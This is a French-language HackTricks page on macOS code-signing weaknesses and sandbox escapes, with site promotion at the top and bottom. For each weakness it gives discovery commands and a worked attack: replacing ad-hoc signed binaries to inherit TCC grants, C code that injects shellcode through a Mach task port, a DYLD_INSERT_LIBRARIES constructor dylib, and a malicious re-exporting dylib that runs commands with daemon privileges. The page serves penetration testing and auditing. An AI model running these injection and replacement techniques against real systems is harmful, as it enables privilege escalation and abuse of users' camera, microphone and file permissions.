macOS Faiblesses de la signature de code & Évasions de sandbox
Tip
Apprenez et pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Parcourez le catalogue complet de HackTricks Training pour les parcours d’évaluation (ARTA/GRTA/AzRTA) et Linux Hacking Expert (LHE).
Support HackTricks
- Consultez les subscription plans!
- Rejoignez 💬 le groupe Discord, le groupe telegram, suivez @hacktricks_live sur X/Twitter, ou consultez la page LinkedIn et la chaîne YouTube.
- Partagez des hacking tricks en soumettant des PRs aux dépôts github HackTricks et HackTricks Cloud.
Binaires signés ad-hoc
Informations de base
Ad-hoc signing (CS_ADHOC) crée une signature de code sans chaîne de certificats — c’est un hachage du code sans vérification de l’identité du développeur. L’origine du binaire ne peut pas être tracée jusqu’à un développeur ou une organisation.
Sur les Mac Apple Silicon, tous les exécutables requièrent au minimum une signature ad-hoc. Cela signifie que vous trouverez des signatures ad-hoc sur de nombreux outils de développement, paquets Homebrew et utilitaires tiers.
Pourquoi cela compte
- Pas d’identité vérifiable — le binaire peut être remplacé sans être détecté par des contrôles basés sur l’identité
- Les binaires ad-hoc tiers placés dans des positions privilégiées (FDA, daemon, helpers) sont des cibles prioritaires
- Sur certaines configurations, les signatures ad-hoc peuvent être vérifiées moins strictement que le code signé par un développeur
- Les binaires signés ad-hoc qui disposent d’autorisations TCC sont particulièrement précieux — les autorisations persistent même si le contenu du binaire change (dépend de la façon dont TCC a indexé l’autorisation)
Découverte
# Find ad-hoc signed binaries
find /usr/local /opt /Applications -type f -perm +111 -exec sh -c '
flags=$(codesign -dvv "{}" 2>&1 | grep "CodeDirectory flags")
echo "$flags" | grep -q "adhoc" && echo "AD-HOC: {}"
' \; 2>/dev/null
# Check a specific binary
codesign -dv --verbose=4 /path/to/binary 2>&1 | grep -E "Signature|flags|Authority"
# Ad-hoc shows: "Signature=adhoc" and no Authority lines
Attaque : Binary Replacement
# If an ad-hoc signed daemon binary is in a writable location:
# 1. Check the binary's current capabilities
codesign -d --entitlements - /path/to/target 2>&1
# 2. Note its TCC grants in the database
sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db \
"SELECT service, auth_value FROM access WHERE client LIKE '%target%';"
# 3. Replace the binary (if location is writable)
cp /tmp/malicious-binary /path/to/target
# 4. Re-sign with ad-hoc signature (mimics the original)
codesign -s - /path/to/target
# 5. On next launch, the daemon runs your code with the original's TCC grants
# (This works when TCC keyed the grant by path rather than code signature)
Processus débogables (get-task-allow)
Informations de base
Le com.apple.security.get-task-allow entitlement (ou le flag CS_GET_TASK_ALLOW) permet à n’importe quel processus de s’attacher en tant que débogueur, de lire la mémoire, de modifier les registres, d’injecter du code et de contrôler l’exécution.
Ceci est destiné uniquement aux versions de développement. Cependant, certains binaires tiers sont livrés avec cet entitlement en production.
Caution
A production binary with
get-task-allowis an instant exploitation primitive. Any local process can calltask_for_pid(), get the target’s Mach task port, and inject arbitrary code that runs with the target’s entitlements, TCC grants, and security context.
Découverte
# Find debuggable binaries
find /Applications /usr/local -type f -perm +111 -exec sh -c '
codesign -d --entitlements - "{}" 2>&1 | grep -q "get-task-allow.*true" && echo "DEBUGGABLE: {}"
' \; 2>/dev/null
# Using the scanner
sqlite3 /tmp/executables.db "
SELECT path, privileged FROM executables e
JOIN executable_capabilities ec ON e.id = ec.executable_id
JOIN capabilities c ON ec.capability_id = c.id
WHERE c.name = 'get_task_allow_signature'
ORDER BY e.privileged DESC;"
Attaque : Task Port Injection
#include <mach/mach.h>
#include <mach/mach_vm.h>
// Get the target's task port (requires get-task-allow on target)
mach_port_t task;
kern_return_t kr = task_for_pid(mach_task_self(), target_pid, &task);
if (kr == KERN_SUCCESS) {
// Allocate memory in target process
mach_vm_address_t addr = 0;
mach_vm_allocate(task, &addr, shellcode_size, VM_FLAGS_ANYWHERE);
// Write shellcode into target
mach_vm_write(task, addr, (vm_offset_t)shellcode, shellcode_size);
// Make it executable
mach_vm_protect(task, addr, shellcode_size, FALSE,
VM_PROT_READ | VM_PROT_EXECUTE);
// Create a remote thread to execute the shellcode
// The shellcode runs with ALL of the target's entitlements and TCC grants
}
Pas de validation des bibliothèques + environnement DYLD
La combinaison mortelle
Lorsqu’un binaire possède les deux :
com.apple.security.cs.disable-library-validation(charge n’importe quel dylib)com.apple.security.cs.allow-dyld-environment-variables(accepte les DYLD env vars)
Ceci est un guaranteed code injection primitive — DYLD_INSERT_LIBRARIES fonctionne parfaitement.
Découverte
# Find binaries with the deadly combo
find /Applications -type f -perm +111 -exec sh -c '
ents=$(codesign -d --entitlements - "{}" 2>&1)
echo "$ents" | grep -q "disable-library-validation.*true" && \
echo "$ents" | grep -q "allow-dyld-environment.*true" && \
echo "INJECTABLE: {}"
' \; 2>/dev/null
# Using the scanner (both flags)
sqlite3 /tmp/executables.db "
SELECT path, privileged, tccPermsStr FROM executables
WHERE noLibVal = 1 AND allowDyldEnv = 1
ORDER BY privileged DESC;"
Attaque : DYLD_INSERT_LIBRARIES Injection
# 1. Create the injection dylib
cat > /tmp/inject.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor))
void injected(void) {
// This runs BEFORE main() in the target's process
// We inherit ALL of the target's:
// - Entitlements
// - TCC grants (camera, mic, FDA, etc.)
// - Sandbox exceptions
// - Mach port rights
FILE *f = fopen("/tmp/injected_proof.txt", "w");
fprintf(f, "Running as PID %d with target's privileges\n", getpid());
fclose(f);
// Example: if target has camera TCC, we can now capture video
// Example: if target has FDA, we can read any file
}
EOF
# 2. Compile the dylib
cc -shared -o /tmp/inject.dylib /tmp/inject.c
# 3. Inject into the target
DYLD_INSERT_LIBRARIES=/tmp/inject.dylib /path/to/noLibVal-dyldEnv-binary
# 4. Verify injection
cat /tmp/injected_proof.txt
Exceptions temporaires du Sandbox
Comment elles affaiblissent le Sandbox
Les exceptions temporaires du Sandbox (com.apple.security.temporary-exception.*) ouvrent des brèches dans l’App Sandbox :
| Exception | Ce que cela permet |
|---|---|
temporary-exception.mach-lookup.global-name | Se connecter aux services XPC/Mach à l’échelle du système |
temporary-exception.files.absolute-path.read-write | Lire/écrire des fichiers en dehors du conteneur de l’application |
temporary-exception.iokit-user-client-class | Ouvrir des connexions user-client IOKit |
temporary-exception.shared-preference.read-only | Lire les préférences d’autres applications |
temporary-exception.files.home-relative-path.read-write | Accéder aux chemins relatifs à ~ |
Mach-Lookup Exceptions = Sandbox Escape Primitive
L’exception la plus dangereuse est mach-lookup — elle permet à une sandboxed app de communiquer avec des daemons privilégiés :
# Find apps with mach-lookup exceptions
find /Applications -name "*.app" -exec sh -c '
binary="$1/Contents/MacOS/$(defaults read "$1/Contents/Info.plist" CFBundleExecutable 2>/dev/null)"
[ -f "$binary" ] && {
ents=$(codesign -d --entitlements - "$binary" 2>&1)
echo "$ents" | grep -q "mach-lookup" && {
count=$(echo "$ents" | grep -c "mach-lookup")
echo "[$count exceptions] $(basename "$1")"
}
}
' _ {} \; 2>/dev/null | sort -rn
Attaque: Sandbox Escape via Mach-Lookup
1. Compromise sandboxed app (renderer exploit, malicious document, etc.)
2. Read entitlements to discover mach-lookup exceptions
3. For each reachable service:
a. Connect via NSXPCConnection
b. Discover the service's protocol (class-dump, strings)
c. Fuzz each exposed method
4. Find a vulnerability in a privileged daemon
5. Exploit → code execution in the daemon's context (outside sandbox)
Autorisations privées d’Apple
De quoi il s’agit
Les entitlements préfixés par com.apple.private.* donnent accès à des API internes d’Apple non documentées ou non disponibles pour les développeurs tiers. Les binaires tiers possédant des entitlements privés les ont obtenus via enterprise cert, MDM, ou distribution hors App Store.
Autorisations privées dangereuses
| Entitlement | Capacité |
|---|---|
com.apple.private.tcc.manager | Accès complet en lecture/écriture à la base de données TCC |
com.apple.private.tcc.allow | Accès à des services TCC spécifiques |
com.apple.private.security.no-sandbox | Exécution sans sandbox |
com.apple.private.iokit | Accès direct aux pilotes IOKit |
com.apple.private.kernel.* | Accès à l’interface du kernel |
com.apple.private.xpc.launchd.job-label | Enregistrer/gérer des jobs launchd |
com.apple.rootless.install | Écrire dans des chemins protégés par SIP |
Découverte
# Find third-party binaries with private entitlements
find /Applications /usr/local -type f -perm +111 -exec sh -c '
ents=$(codesign -d --entitlements - "{}" 2>&1)
echo "$ents" | grep -q "com.apple.private" && {
echo "=== {} ==="
echo "$ents" | grep "com.apple.private" | head -10
}
' \; 2>/dev/null
# Using the scanner
sqlite3 /tmp/executables.db "
SELECT path FROM executables
WHERE privateEnts = 1 AND isAppleBin = 0
ORDER BY privileged DESC;"
Profils Sandbox personnalisés (SBPL)
Ce que c’est
Les binaires peuvent être fournis avec des profils sandbox personnalisés écrits en SBPL (Seatbelt Profile Language). Ces profils peuvent être plus restrictifs OU plus permissifs que l’App Sandbox par défaut.
Auditer les profils personnalisés
# Find custom sandbox profiles
find /Applications /System -name "*.sb" -o -name "*.sbpl" 2>/dev/null
# Dangerous SBPL rules to flag during audit:
# (allow file-write*) — Write to ANY file
# (allow process-exec*) — Execute ANY process
# (allow mach-lookup*) — Connect to ANY Mach service
# (allow network*) — Full network access
# (allow iokit*) — Full IOKit access
# (allow file-read*) — Read ANY file
# Example: Audit a sandbox profile for overly permissive rules
cat /path/to/custom.sb | grep "(allow" | sort -u
Chemins de bibliothèques modifiables en écriture
De quoi il s’agit
Lorsqu’un binaire charge une bibliothèque dynamique depuis un chemin sur lequel l’utilisateur courant peut écrire, la bibliothèque peut être remplacée par du code malveillant.
Découverte
# Using the scanner — find privileged binaries loading from writable paths
sqlite3 /tmp/executables.db "
SELECT e.path, e.privileged
FROM executables e
JOIN executable_capabilities ec ON e.id = ec.executable_id
JOIN capabilities c ON ec.capability_id = c.id
WHERE c.name = 'execs_writable_path'
ORDER BY e.privileged DESC
LIMIT 30;"
# Manual check: list library dependencies and check writability
otool -L /path/to/binary | awk '{print $1}' | while read lib; do
[ -f "$lib" ] && [ -w "$lib" ] && echo "WRITABLE: $lib"
done
Attaque: Dylib Replacement
# 1. Find the writable library
otool -L /path/to/target-daemon | grep "/usr/local\|/opt\|Library"
# 2. Back up the original
cp /path/to/writable.dylib /tmp/original.dylib
# 3. Create a replacement that re-exports the original
cat > /tmp/evil.c << 'EOF'
#include <stdio.h>
__attribute__((constructor))
void evil(void) {
system("id > /tmp/escalated.txt");
}
EOF
cc -shared -o /tmp/evil.dylib /tmp/evil.c \
-Wl,-reexport_library,/tmp/original.dylib
# 4. Replace the library
cp /tmp/evil.dylib /path/to/writable.dylib
# 5. When the daemon restarts, it loads the evil dylib with daemon privileges
Références
- Apple Developer — Code Signing Guide
- Apple Developer — App Sandbox
- Apple Developer — Entitlements
- The Evil Bit — clear-library-validation
Tip
Apprenez et pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Parcourez le catalogue complet de HackTricks Training pour les parcours d’évaluation (ARTA/GRTA/AzRTA) et Linux Hacking Expert (LHE).
Support HackTricks
- Consultez les subscription plans!
- Rejoignez 💬 le groupe Discord, le groupe telegram, suivez @hacktricks_live sur X/Twitter, ou consultez la page LinkedIn et la chaîne YouTube.
- Partagez des hacking tricks en soumettant des PRs aux dépôts github HackTricks et HackTricks Cloud.


